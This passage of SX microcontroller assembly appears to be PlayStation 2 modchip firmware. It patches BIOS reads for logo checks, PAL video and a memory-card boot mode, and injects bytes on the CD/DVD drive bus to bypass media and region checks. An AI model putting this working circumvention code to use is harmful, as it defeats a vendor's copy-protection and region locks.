; 78 retw $0 ; 79 retw $e2 ; 80 retw $90 ; 81 retw $0 ; 82 retw $0 ; 83 retw $e4 ; 84 retw $90 ; 85 retw $ff ; 86 retw $ff ; 87 retw $63 ; 88 retw $24 ; 89 retw $26 ; 90 retw $20 ; 91 retw $82 ; 92 retw $0 ; 93 retw $0 ; 94 retw $0 ; 95 retw $e4 ; 96 retw $a0 ; 97 retw $fb ; 98 retw $ff ; 99 retw $61 ; 100 retw $4 ; 101 retw $1 ; 102 retw $0 ; 103 retw $e7 ; 104 retw $24 ; 105 ;;42 ;61 ;91 mov w,#117;$75 ; 106 mov VAR_DC3,w ; 107 snb V10_FLAG ; 108 jmp PS2LOGO_PATCH_19_20_JMP1 ; 109 mov w,#112;$70 ; 110 mov VAR_DC3,w ; 111 retw $d0 ; 112 retw $80 ; 113 mov w,#119 ; 114 ;;$77 mov VAR_DC3,w ; 115 jmp PS2LOGO_PATCH_11_17_JMP1 ; 116 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 ; 117 retw $81 ; 118 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 ; 119 retw $af ; 120 retw $2e ; 121 retw $1 ; 122 retw $22 ; 123 retw $92 ; 124 retw $2f ; 125 retw $1 ; 126 retw $23 ; 127 retw $92 ; 128 retw $26 ; 129 retw $10 ; 130 retw $43 ; 131 retw $0 ; 132 retw $1a ; 133 retw $0 ; 134 retw $3 ; 135 retw $24 ; 136 retw $3 ; 137 retw $0 ; 138 retw $43 ; 139 retw $14 ; 140 retw $1 ; 141 retw $0 ; 142 retw $7 ; 143 retw $24 ; 144 mov w,#171;$ab ; 145 mov VAR_DC3,w ; 146 snb V10_FLAG ; 147 jmp PS2LOGO_PATCH_19_20_JMP2 ; 148 mov w,#151 ; 149 ;;$97 mov VAR_DC3,w ; 150 retw $bd ; 151 retw $5 ; 152 retw $4 ; 153 retw $8 ; 154 retw $cc ; 155 retw $80 ; 156 retw $87 ; 157 retw $af ; 158 retw $0 ; 159 retw $0 ; 160 retw $7 ; 161 retw $24 ; 162 retw $bd ; 163 retw $5 ; 164 retw $4 ; 165 retw $8 ; 166 retw $cc ; 167 retw $80 ; 168 retw $87 ; 169 retw $af ; 170 ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af ; 171 retw $5 ; 172 retw $4 ; 173 retw $8 ; 174 retw $4c ; 175 retw $81 ; 176 retw $87 ; 177 retw $af ; 178 retw $0 ; 179 retw $0 ; 180 retw $7 ; 181 retw $24 ; 182 retw $af ; 183 retw $5 ; 184 retw $4 ; 185 retw $8 ; 186 retw $4c ; 187 retw $81 ; 188 retw $87 ; 189 retw $af ; 190 ;V14DRV PS1DRV_PATCHLOAD_v14 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp IS_XCDVDMAN PS2_PS2LOGO:loopz clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS2_PS2LOGO:loop4 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS2_PS2LOGO:loop4 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS2_PS2LOGO:patchlogo2 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w ;V1-V9 sync data PS2_PS2LOGO:patchlogo2 mov w,#87;$57 mov VAR_DC2,w PS2_PS2LOGO:loop4 mov w,#$50 mov VAR_PSX_BYTE,w ;PS2_PS2LOGO:loop3 PS2_PS2LOGO:loop3 mov w,#255;$ff mov VAR_DC3,w PS2_PS2LOGO:loop2 mov w,#255;$ff mov VAR_DC1,w PS2_PS2LOGO:loopx sb IO_BIOS_CS jmp PS2_PS2LOGO:loop1x decsz VAR_DC1 jmp PS2_PS2LOGO:loopx decsz VAR_DC3 jmp PS2_PS2LOGO:loop2 decsz VAR_PSX_BYTE jmp PS2_PS2LOGO:loop3 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP IFDEF SX48RSTBUMP ;NEW!!! future board design using a 2N7002 mosfet mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mode $000B ;disable interrupt , need !!! ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ; above set for IO_CDDVD_BUS mode $000F ; XFh mode direction for RA, IO_CDDVD_BUS, RC output mov w,#$0 ; 0000 0000 mov IO_CDDVD_BUS,w ; IO_CDDVD_BUS = 0 ? clear IO_CDDVD_BUS values mov w,#$fb ; 1111 1011 IO_REST IO_REST output ENDIF ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp MACRO_CHECK_IF_V9to14 ;sync for all versions using regs :)) PS2_PS2LOGO::loop00x snb IO_BIOS_CS jmp PS2_PS2LOGO:loopx PS2_PS2LOGO:loop1x mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO::loop00x PS2_PS2LOGO:loop1x_L1 sb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L1 PS2_PS2LOGO:loop1x_L2 snb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO::loop00x PS2_PS2LOGO:loop1x_L3 sb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L3 PS2_PS2LOGO:loop1x_L4 snb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO::loop00x IFDEF SX48RAM mov w,#$16;1b ELSE mov w,#$1b ENDIF mov fsr,w snb V14_FLAG jmp PS2_PS2LOGO:loop1x_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$27;3C ELSE mov w,#$3c ENDIF mov fsr,w PS2_PS2LOGO:loop1x_L5 snb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS2_PS2LOGO:loop1x_L5 PS2_PS2LOGO:loop1x_L6 sb IO_BIOS_OE jmp PS2_PS2LOGO:loop1x_L6 mov !IO_BIOS_DATA,w PS2_PS2LOGO:loop snb IO_BIOS_OE jmp PS2_PS2LOGO:loop page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS2_PS2LOGO:patchlogo2 ;patch logo 2 times for V7 only ! PS2_PS2LOGO:back snb PSX_FLAG jmp PS1_LOGO_PATCH setb EJ_FLAG page $0200 jmp IS_XCDVDMAN ;V12 logo sync PS1_MODE_v12_PATCHS IFDEF SX48RAM mov w,#$17;1c ELSE mov w,#$1c ENDIF mov fsr,w setb V12LOGO_FLAG page $0200 jmp OSDSYS_BIOS_PATCH_SYNC_P2 ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#11;$b mov VAR_DC2,w IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ; fsr decimal 21 ENDIF mov fsr,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P4 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 mov w,IO_BIOS_DATA-w ; 3C C7 34 19 19 E2 B2 19 E2 BA sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_LOGO_PATCH mov w,#52;$34 ; should jmp here for ntsc but is no flow to here besides via ps1 hence poor ntsc console ps1 support h2o. is no ntsc yfix mov VAR_DC1,w mov w,#24;$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_LOGO_PATCH_SYNC snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC PS1_LOGO_PATCH_SYNC_L1 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L1 PS1_LOGO_PATCH_SYNC_L2 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC PS1_LOGO_PATCH_SYNC_L3 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L3 PS1_LOGO_PATCH_SYNC_L4 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC PS1_LOGO_PATCH_SYNC_L5 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L5 PS1_LOGO_PATCH_SYNC_L6 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_LOGO_PATCH_SYNC ;logo_skip PS1_LOGO_PATCH_SYNC_L7 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L7 PS1_LOGO_PATCH_SYNC_L8 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC_L8 decsz VAR_DC1 jmp PS1_LOGO_PATCH_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_LOGO_PATCH_PATCH1 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_LOGO_PATCH_SYNC2 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC2 PS1_LOGO_PATCH_SYNC2_L1 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC2_L1 decsz VAR_DC3 jmp PS1_LOGO_PATCH_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_LOGO_PATCH_PATCH2 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_LOGO_PATCH_SYNC3 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC3 PS1_LOGO_PATCH_SYNC3_L1 snb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC3_L1 decsz VAR_DC4 jmp PS1_LOGO_PATCH_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_LOGO_PATCH_SYNC3_L2 sb IO_BIOS_OE jmp PS1_LOGO_PATCH_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P4 mov w,#$ff mov !IO_BIOS_DATA,w setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0600 ; PAGE8 600-7FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P8 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ; straight patch flow 0 - 115 ;-------------------------------------------------------------------------------- ;LOAD_DEVMODE jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here from being set due to HOLD_BOOT_MODES ran then reset setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 IFDEF SX48RAM mov w,#$10 ELSE mov w,#$15 ENDIF mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching IFDEF SX48RAM ELSE mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat ENDIF inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp PS2_CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spc rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF H2O75KJMPERS sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa ;; idea for trim, usa flag not needed set here, will for ps1drv scex?? clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... IFDEF SX48 mov w,#$1f mov m,w ENDIF mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call 